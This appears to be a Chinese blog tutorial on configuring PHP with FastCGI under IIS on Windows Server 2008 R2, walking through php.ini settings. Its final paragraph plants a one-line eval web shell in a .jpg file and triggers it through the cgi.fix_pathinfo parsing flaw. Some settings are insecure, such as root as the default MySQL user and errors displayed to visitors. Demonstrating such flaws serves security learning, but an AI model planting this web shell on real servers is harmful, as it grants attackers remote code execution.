在windows server 2008 r2上搭建 php服务
1、下载php解释器
地址为http://windows.php.net/download/
版本有两种，线程安全和非线程安全，线程安全是给apache用的，非线程安全是给iis用的，我们要配的是iis，所以下载非线程安全的，x86和x64看自己的机器是什么系统选择对应的版本下载就行了。
安装vcredist_x64.exe
2、安装php解释器
php可以说不用安装的，只要将文件解压到c:\php(一般不放在系统盘，那么就放E:\PHP)文件夹，就算安装完成了。
3、配置php.ini
拷贝php.ini-development，改名为php.ini，并进行如下修改：
注意每个选项前面的分号 如果开启这个选项可以就直接删除掉前面的分号
3、配置php.ini
拷贝php.ini-development，改名为php.ini，并进行如下修改：
（1）扩展插件的路径
[html] view plain copy
1 ; Directory in which the loadable extensions (modules) reside.
2 ; http://php.net/extension-dir
3; extension_dir = “./”
4 ; On windows:
5 extension_dir = “c:\php5\ext”
修改最后一行，填入自己真实的PHP解释器地址，以及后面跟着ext文件夹，这个里面放的都是插件
（2）设置要引入哪些插件
[html] view plain copy
1 ; Windows Extensions
2 ; Note that ODBC support is built in, so no dll is needed for it.
3 ; Note that many DLL files are located in the extensions/ (PHP 4) ext/ (PHP 5)
4 ; extension folders as well as the separate PECL DLL download (PHP 5).
5.; Be sure to appropriately set the extension_dir directive.
6 ;
7 ;extension=php_bz2.dll
8.;extension=php_curl.dll
9 ;extension=php_fileinfo.dll
10 ;extension=php_gd2.dll
11 ;extension=php_gettext.dll
12 ;extension=php_gmp.dll
13 ;extension=php_intl.dll
14 ;extension=php_imap.dll
15 ;extension=php_interbase.dll
16 ;extension=php_ldap.dll
17 extension=php_mbstring.dll
18 ;extension=php_exif.dll ; Must be after mbstring as it depends on it
19 extension=php_mysql.dll
20 extension=php_mysqli.dll
21 ;extension=php_oci8_12c.dll ; Use with Oracle Database 12c Instant Client
22 ;extension=php_openssl.dll
23 ;extension=php_pdo_firebird.dll
24 ;extension=php_pdo_mysql.dll
25 ;extension=php_pdo_oci.dll
26 ;extension=php_pdo_odbc.dll
27 ;extension=php_pdo_pgsql.dll
28 ;extension=php_pdo_sqlite.dll
29 ;extension=php_pgsql.dll
30 ;extension=php_shmop.dll
要引入的插件，只要把前面的分号去掉就可以了，我这里只引入了mysql、mysqli、mbstring。
（3）设置时区
[html] view plain copy
1[Date]
2 ; Defines the default timezone used by the date functions
3; http://php.net/date.timezone
4date.timezone = Asia/Shanghai
（4）支持短标签
[html] view plain copy
1 ; This directive determines whether or not PHP will recognize code between
2.; <? and ?> tags as PHP source which should be processed as such. It is
3 ; generally recommended that <?php and ?> should be used and that this feature
4 ; should be disabled, as enabling it may result in issues when generating XML
5 ; documents, however this remains supported for backward compatibility reasons.
6; Note that this directive does not control the <?= shorthand tag, which can be
7 ; used regardless of this directive.
8 ; Default Value: On
9 ; Development Value: Off
10 ; Production Value: Off
11 ; http://php.net/short-open-tag
12 short_open_tag = On
（5）启用fastcgi
[html] view plain copy
1 ; FastCGI under IIS (on WINNT based OS) supports the ability to impersonate
2 ; security tokens of the calling client. This allows IIS to define the
3; security context that the request runs under. mod_fastcgi under Apache
4 ; does not currently support this feature (03/17/2002)
5 ; Set to 1 if running under IIS. Default is zero.
6 ; http://php.net/fastcgi.impersonate
7 fastcgi.impersonate = 1
（6）cgi相关设置pathinfo
[html] view plain copy
1 ; cgi.fix_pathinfo provides real PATH_INFO/PATH_TRANSLATED support for CGI. PHP’s
2 ; previous behaviour was to set PATH_TRANSLATED to SCRIPT_FILENAME, and to not grok
3 ; what PATH_INFO is. For more information on PATH_INFO, see the cgi specs. Setting
4 ; this to 1 will cause PHP CGI to fix its paths to conform to the spec. A setting
5 ; of zero causes PHP to behave as before. Default is 1. You should fix your scripts
6 ; to use SCRIPT_FILENAME rather than PATH_TRANSLATED.
7 ; http://php.net/cgi.fix-pathinfo
8 cgi.fix_pathinfo=1
（7）cgi相关设置redirect
[html] view plain copy
1 ; cgi.force_redirect is necessary to provide security running PHP as a CGI under
2 ; most web servers. Left undefined, PHP turns this on by default. You can
3 ; turn it off here AT YOUR OWN RISK
4 ; You CAN safely turn this off for IIS, in fact, you MUST.
5 ; http://php.net/cgi.force-redirect
6 cgi.force_redirect = 0
（8）session存储路径
[html] view plain copy
1 ; where MODE is the octal representation of the mode. Note that this
2 ; does not overwrite the process’s umask.
3 ; http://php.net/session.save-path
4 session.save_path = “d:\server\web\session”
（9）数据库
mysql.default_port = 3306
mysql.default_host = localhost
mysql.default_user = root
（10）输出缓存
[php] view plain copy
1 ; Note: This directive is hardcoded to Off for the CLI SAPI
2 ; Default Value: Off
3 ; Development Value: 4096
4 ; Production Value: 4096
5 ; http://php.net/output-buffering
6 output_buffering = On//这里应该是填一个值，比如4096
（11）限定上传文件体积最大值
[php] view plain copy
1 upload_max_filesize = 100M
1 display_errors=On
2 error_log=“C:\windows\Temp\php-5.x.yy_errors.log”
3 error_reporting = E_ALL
4 fastcgi.logging = 0
5 html_errors=On
6 log_errors = On
4、将php.ini放到系统目录
配置完成之后，将php.ini拷贝一份放到c:\windows下。注意，如果是win7使用的iis7已经不需要这么做了。
5、下面配置iis支持phpcgi
（1）安装IIS
勾选所有和ISS相关的选项
按着提示装完
（2）
（3）添加站点
在网站路径下创建一个文件夹，在IIS中添加站点，将此文件夹作为站点添加进去
直接进行访问 我们新建一个文件
这时候 我们把<?php @eval($_POST[‘cmd’]);?> 写到 一个txt文档里面 并且 把这个文档的后缀名改为.jpg 图片格式 这时候放到网站的目录下去访问 并给后面加上/.php
就会发现时空白页面 这就是产生了解析漏洞
